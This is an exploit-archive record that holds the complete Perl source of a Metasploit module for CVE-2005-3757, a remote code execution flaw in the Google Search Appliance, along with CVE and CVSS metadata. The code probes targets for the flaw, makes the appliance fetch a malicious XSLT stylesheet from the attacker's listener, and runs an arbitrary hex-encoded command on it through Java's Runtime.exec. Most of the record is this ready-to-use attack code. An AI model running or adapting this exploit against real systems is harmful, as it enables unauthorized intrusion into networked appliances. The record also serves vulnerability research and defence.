{"exploit":{"id":"EDB-1333","name":"Google Search Appliance - proxystylesheet XSLT Java Code Execution (Metasploit)","description":"Google Search Appliance - proxystylesheet XSLT Java Code Execution (Metasploit)","cves":["CVE-2005-3757"],"author":"H D Moore","published":"2005-11-20","platform":"hardware","type":"remote","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/1333","path":"exploits/hardware/remote/1333.pm","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-1333.pm","vulnerabilities":[{"id":"CVE-2005-3757","state":"PUBLISHED","title":null,"titleSource":null,"description":"The Saxon XSLT parser in Google Mini Search Appliance, and possibly Google Search Appliance, allows remote attackers to obtain sensitive information and execute arbitrary code via dangerous Java class methods in select attribute of xsl:value-of tags in XSLT style sheets, such as (1) system-property, (2) sys:getProperty, and (3) run:exec.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2005-3757","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2005-3757"},"updatedAt":"2024-08-07T23:24:36.163Z","retrievedAt":"2026-11-26T15:08:14.167Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-1333.png?v=2","url":"https://exploitbin.com/exploits/EDB-1333","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-1333/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-1333/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# This file is part of the Metasploit Framework and may be redistributed\n# according to the licenses defined in the Authors field below. In the\n# case of an unknown or missing license, this file defaults to the same\n# license as the core Framework (dual GPLv2 and Artistic). The latest\n# version of the Framework can always be obtained from metasploit.com.\n##\n\npackage Msf::Exploit::google_proxystylesheet_exec;\n\nuse strict;\nuse base \"Msf::Exploit\";\nuse Pex::Text;\nuse IO::Socket;\nuse IO::Select;\nmy $advanced = { };\n\nmy $info =\n{\n\t'Name'           => 'Google Appliance ProxyStyleSheet Command Execution',\n\t'Version'        => '$Revision: 1.1 $',\n\t'Authors'        => [ 'H D Moore <hdm [at] metasploit.com>' ],\n\n\t'Description'    =>\n\t\tPex::Text::Freeform(qq{\n\t\t\tThis module exploits a feature in the Saxon XSLT parser used by\n\t\tthe Google Search Appliance. This feature allows for arbitrary\n\t\tjava methods to be called. Google released a patch and advisory to\n\t\ttheir client base in August of 2005 (GA-2005-08-m). The target appliance\n\t\tmust be able to connect back to your machine for this exploit to work.\n\t\t}),\n\n\t'Arch'           => [ ],\n\t'OS'             => [ ],\n\t'Priv'           => 0,\n\t'UserOpts'       =>\n\t\t{\n\t\t\t'RHOST'    => [ 1, 'HOST', 'The address of the Google appliance'],\n\t\t\t'RPORT'    => [ 1, 'PORT', 'The port used by the search interface', 80],\n\t\t\t'HTTPPORT' => [ 1, 'PORT', 'The local HTTP listener port', 8080      ],\n\t\t\t'HTTPHOST' => [ 0, 'HOST', 'The local HTTP listener host', \"0.0.0.0\" ],\n\t\t\t'HTTPADDR' => [ 0, 'HOST', 'The address that can be used to connect back to this system'],\n\t\t},\n\t'Payload'        =>\n\t\t{\n\t\t\t'Space'    => 1024,\n\t\t\t'Keys'     => [ 'cmd' ],\n\t\t},\n\t'Refs'           =>\n\t\t[\n\t\t\t['OSVDB', 20981],\n\t\t],\n\t'DefaultTarget'  => 0,\n\t'Targets'        =>\n\t\t[\n\t\t\t[ 'Google Search Appliance']\n\t\t],\n\t'Keys'           => [ 'google' ],\n\n\t'DisclosureDate' => 'Aug 16 2005',\n};\n\nsub new\n{\n\tmy $class = shift;\n\tmy $self;\n\n\t$self = $class->SUPER::new(\n\t\t\t{\n\t\t\t\t'Info'     => $info,\n\t\t\t\t'Advanced' => $advanced,\n\t\t\t},\n\t\t\t@_);\n\n\treturn $self;\n}\n\nsub Check {\n\tmy $self = shift;\n\tmy $s = $self->ConnectSearch;\n\n\tif (! $s) {\n\t\treturn $self->CheckCode('Connect');\n\t}\n\n\tmy $url =\n\t\t\"/search?client=\". Pex::Text::AlphaNumText(int(rand(15))+1). \"&\".\n\t\t\"site=\".Pex::Text::AlphaNumText(int(rand(15))+1).\"&\".\n\t\t\"output=xml_no_dtd&\".\n\t\t\"q=\".Pex::Text::AlphaNumText(int(rand(15))+1).\"&\".\n\t\t\"proxystylesheet=http://\".Pex::Text::AlphaNumText(int(rand(32))+1).\"/\";\n\n\t$s->Send(\"GET $url HTTP/1.0\\r\\n\\r\\n\");\n\tmy $page = $s->Recv(-1, 5);\n\t$s->Close;\n\n\tif ($page =~ /cannot be resolved to an ip address/) {\n\t\t$self->PrintLine(\"[*] This system appears to be vulnerable >:-)\");\n\t\treturn $self->CheckCode('Confirmed');\n\t}\n\n\tif ($page =~ /ERROR: Unable to fetch the stylesheet/) {\n\t\t$self->PrintLine(\"[*] This system appears to be patched\");\n\t}\n\n\t$self->PrintLine(\"[*] This system does not appear to be vulnerable\");\n\treturn $self->CheckCode('Safe');\n}\n\n\nsub Exploit\n{\n\tmy $self = shift;\n\tmy ($s, $page);\n\n\t# Request the index page to obtain a redirect response\n\t$s = $self->ConnectSearch || return;\n\t$s->Send(\"GET / HTTP/1.0\\r\\n\\r\\n\");\n\t$page = $s->Recv(-1, 5);\n\t$s->Close;\n\n\t# Parse the redirect to get the client and site values\n\tmy ($goog_site, $goog_clnt) = $page =~ m/^location.*site=([^\\&]+)\\&.*client=([^\\&]+)\\&/im;\n\tif (! $goog_site || ! $goog_clnt) {\n\t\t$self->PrintLine(\"[*] Invalid response to our request, is this a Google appliance?\");\n\t\t#$self->PrintLine($page);\n\t\t#!!! return;\n\t\t$goog_site = 'test';\n\t\t$goog_clnt = 'test';\n\t}\n\n\t# Create the listening local socket that will act as our HTTP server\n\tmy $lis = IO::Socket::INET->new(\n\t\t\tLocalHost => $self->GetVar('HTTPHOST'),\n\t\t\tLocalPort => $self->GetVar('HTTPPORT'),\n\t\t\tReuseAddr => 1,\n\t\t\tListen    => 1,\n\t\t\tProto     => 'tcp');\n\n\tif (not defined($lis)) {\n\t\t$self->PrintLine(\"[-] Failed to create local HTTP listener on \" . $self->GetVar('HTTPPORT'));\n\t\treturn;\n\t}\n\tmy $sel = IO::Select->new($lis);\n\n\t# Send a search request with our own address in the proxystylesheet parameter\n\tmy $query = Pex::Text::AlphaNumText(int(rand(32))+1);\n\n\tmy $proxy =\n\t\t\"http://\".\n\t\t($self->GetVar('HTTPADDR') || Pex::Utils::SourceIP($self->GetVar('RHOST'))).\n\t\t\":\".$self->GetVar('HTTPPORT').\"/\".Pex::Text::AlphaNumText(int(rand(15))+1).\".xsl\";\n\n\tmy $url =\n\t\t\"/search?client=\". $goog_clnt .\"&site=\". $goog_site .\n\t\t\"&output=xml_no_dtd&proxystylesheet=\". $proxy .\n\t\t\"&q=\". $query .\"&proxyreload=1\";\n\n\t$self->PrintLine(\"[*] Sending our malicious search request...\");\n\t$s = $self->ConnectSearch || return;\n\t$s->Send(\"GET $url HTTP/1.0\\r\\n\\r\\n\");\n\t$page = $s->Recv(-1, 3);\n\t$s->Close;\n\n\t$self->PrintLine(\"[*] Listening for connections to http://\" . $self->GetVar('HTTPHOST') . \":\" . $self->GetVar('HTTPPORT') . \" ...\");\n\n\t# Did we receive a connection?\n\tmy @r = $sel->can_read(30);\n\n\tif (! @r) {\n\t\t$self->PrintLine(\"[*] No connection received from the search engine, possibly patched.\");\n\t\t$lis->close;\n\t\treturn;\n\t}\n\n\tmy $c = $lis->accept();\n\tif (! $c) {\n\t\t$self->PrintLine(\"[*] No connection received from the search engine, possibly patched.\");\n\t\t$lis->close;\n\t\treturn;\n\t}\n\n\tmy $cli = Msf::Socket::Tcp->new_from_socket($c);\n\t$self->PrintLine(\"[*] Connection received from \".$cli->PeerAddr.\"...\");\n\t$self->ProcessHTTP($cli);\n\treturn;\n}\n\nsub ConnectSearch {\n\tmy $self = shift;\n\tmy $s = Msf::Socket::Tcp->new(\n\t\t'PeerAddr' => $self->GetVar('RHOST'),\n\t\t'PeerPort' => $self->GetVar('RPORT'),\n\t\t'SSL'      => $self->GetVar('SSL')\n\t);\n\n\tif ($s->IsError) {\n\t\t$self->PrintLine('[*] Error creating socket: ' . $s->GetError);\n\t\treturn;\n\t}\n\treturn $s;\n}\n\nsub ProcessHTTP\n{\n\tmy $self = shift;\n\tmy $cli  = shift;\n\tmy $targetIdx = $self->GetVar('TARGET');\n\tmy $target    = $self->Targets->[$targetIdx];\n\tmy $ret       = $target->[1];\n\tmy $shellcode = $self->GetVar('EncodedPayload')->Payload;\n\tmy $content;\n\tmy $rhost;\n\tmy $rport;\n\n\t# Read the first line of the HTTP request\n\tmy ($cmd, $url, $proto) = split(/ /, $cli->RecvLine(10));\n\n\t# The way we call Runtime.getRuntime().exec, Java will split\n\t# our string on whitespace. Since we are injecting via XSLT,\n\t# inserting quotes becomes a huge pain, so we do this...\n\tmy $exec_str =\n\t\t'/usr/bin/perl -e system(pack(qq{H*},qq{' .\n\t\tunpack(\"H*\", $self->GetVar('EncodedPayload')->RawPayload).\n\t\t'}))';\n\n\t# Load the template from our data section, we have to manually\n\t# seek and reposition to allow the exploit to be used more\n\t# than once without a reload.\n\tseek(DATA, 0, 0);\n\twhile(<DATA>) { last if /^__DATA__$/ }\n\twhile(<DATA>) {\t$content .= $_ }\n\n\t# Insert our command line\n\t$content =~ s/:x:MSF:x:/$exec_str/;\n\n\t# Send it to the requesting appliance\n\t$rport = $cli->PeerPort;\n\t$rhost = $cli->PeerAddr;\n\t$self->PrintLine(\"[*] HTTP Client connected from $rhost, sending XSLT...\");\n\n\tmy $res = \"HTTP/1.1 200 OK\\r\\n\" .\n\t          \"Content-Type: text/html\\r\\n\" .\n\t          \"Content-Length: \" . length($content) . \"\\r\\n\" .\n\t          \"Connection: close\\r\\n\" .\n\t          \"\\r\\n\" .\n\t          $content;\n\n\t$self->PrintLine(\"[*] Sending \".length($res).\" bytes...\");\n\t$cli->Send($res);\n\t$cli->Close;\n}\n\n1;\n\n# milw0rm.com [2005-11-20]","sha256":"4531982f9042f4761acadecae484067089b22a84b602801d3afdce39177967c1","bytes":7106,"fetchedAt":"2026-11-26T15:08:13.945Z","encoding":"utf-8 (display only; download retains original bytes)"}